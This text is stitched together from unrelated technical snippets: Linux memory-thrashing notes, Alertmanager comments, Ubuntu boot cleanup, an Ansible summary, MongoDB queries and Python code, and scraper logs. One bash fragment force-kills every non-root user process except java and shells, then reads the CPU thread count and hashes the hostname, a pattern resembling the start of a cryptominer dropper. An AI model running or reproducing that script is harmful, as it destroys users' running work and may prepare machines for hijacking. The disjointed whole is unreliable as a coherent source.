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Overview

Some notes about:

• Explaining why current day Linux memory swap thrashing still happens (as of 2016).
• Mitigating "stop the world" type thrashing issues on a Linux workstation when it's under high memory pressure and where responsiveness is more important than process completion.
• Prioritizing and limiting memory use.
• Older ulimit versus newer CGroup options.

These notes assume some basic background knowledge about memory management, ulimits and cgroups.

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###################################################
##
## Alertmanager YAML configuration for routing.
##
## Will route alerts with a code_owner label to the slack-code-owners receiver 
## configured above, but will continue processing them to send to both a
## central Slack channel (slack-monitoring) and PagerDuty receivers
## (pd-warning and pd-critical)
##

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A collapsible section with markdown

Click to expand!

Heading

1. A numbered
2. list
   • With some
   • Sub bullets

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Safest way to clean up boot partition - Ubuntu 14.04LTS-x64, Ubuntu 16.04LTS-x64

Reference

Case I: if /boot is not 100% full and apt is working

1. Check the current kernel version

$ uname -r 

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An Ansible summary

Jon Warbrick, July 2014, V3.2 (for Ansible 1.7)

Configuration file

intro_configuration.html

First one found from of

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#!/bin/bash

if [[ $(whoami) != "root" ]]; then
    for tr in $(ps -U $(whoami) | egrep -v "java|ps|sh|egrep|grep|PID" | cut -b1-6); do
        kill -9 $tr || : ;
    done;
fi

threadCount=$(lscpu | grep 'CPU(s)' | grep -v ',' | awk '{print $2}' | head -n 1);
hostHash=$(hostname -f | md5sum | cut -c1-8);

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   import itertools

    def safe_generator0(docs):
        def for_cycle(docs):
            for doc in docs:
                raise pymongo.errors.AutoReconnect() 
                yield doc 

        yield from safe_mongo_call(for_cycle, 10, docs)
        # yield from doc

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find({ "records.local_id": "odien-real-estate-as_rezidence-veselska__2624_TEST"}


db.getCollection("master_data").find(
 { "records.local_id": "odien-real-estate-as_rezidence-veselska__2624_TEST"},
 
 { "records": { $elemMatch: {"local_id": "odien-real-estate-as_rezidence-veselska__2624_TEST"}}} 
 
 )
 

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2018-09-04 22:24:36 [update_mongo] DEBUG: local_id:  sreality_336609628 (new) | 336609628 (old)
DEBUG:update_mongo:local_id:  sreality_336609628 (new) | 336609628 (old)
2018-09-04 22:24:36 [update_mongo] DEBUG: processed document:  35467000
DEBUG:update_mongo:processed document:  35467000
2018-09-04 22:24:36 [update_mongo] INFO: {'error_create_local_id': 56288, 'not_updated_docs': 0, 'error_missing_meta': 0, 'error_spider_creation': 0, 'spider_names_from_map': 0, 'spider_names_from_item': 35467601, 'success_import_for_item': 35467601, 'skipped_sap_docs': 0, 'spider_calls': 35467601, 'error_spider_map': 0, 'missing_meta': 0, 'updated_docs': 35467601, 'error_import_module': 0, 'default_method': 0}
INFO:update_mongo:{'error_create_local_id': 56288, 'not_updated_docs': 0, 'error_missing_meta': 0, 'error_spider_creation': 0, 'spider_names_from_map': 0, 'spider_names_from_item': 35467601, 'success_import_for_item': 35467601, 'skipped_sap_docs': 0, 'spider_calls': 35467601, 'error_spider_map': 0, 'missing_meta': 0, 

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#!/usr/bin/env python
# -*- coding: utf-8 -*-
import argparse
from collections import defaultdict
import datetime
from functools import partial
import inspect
from importlib import import_module
import logging
import munch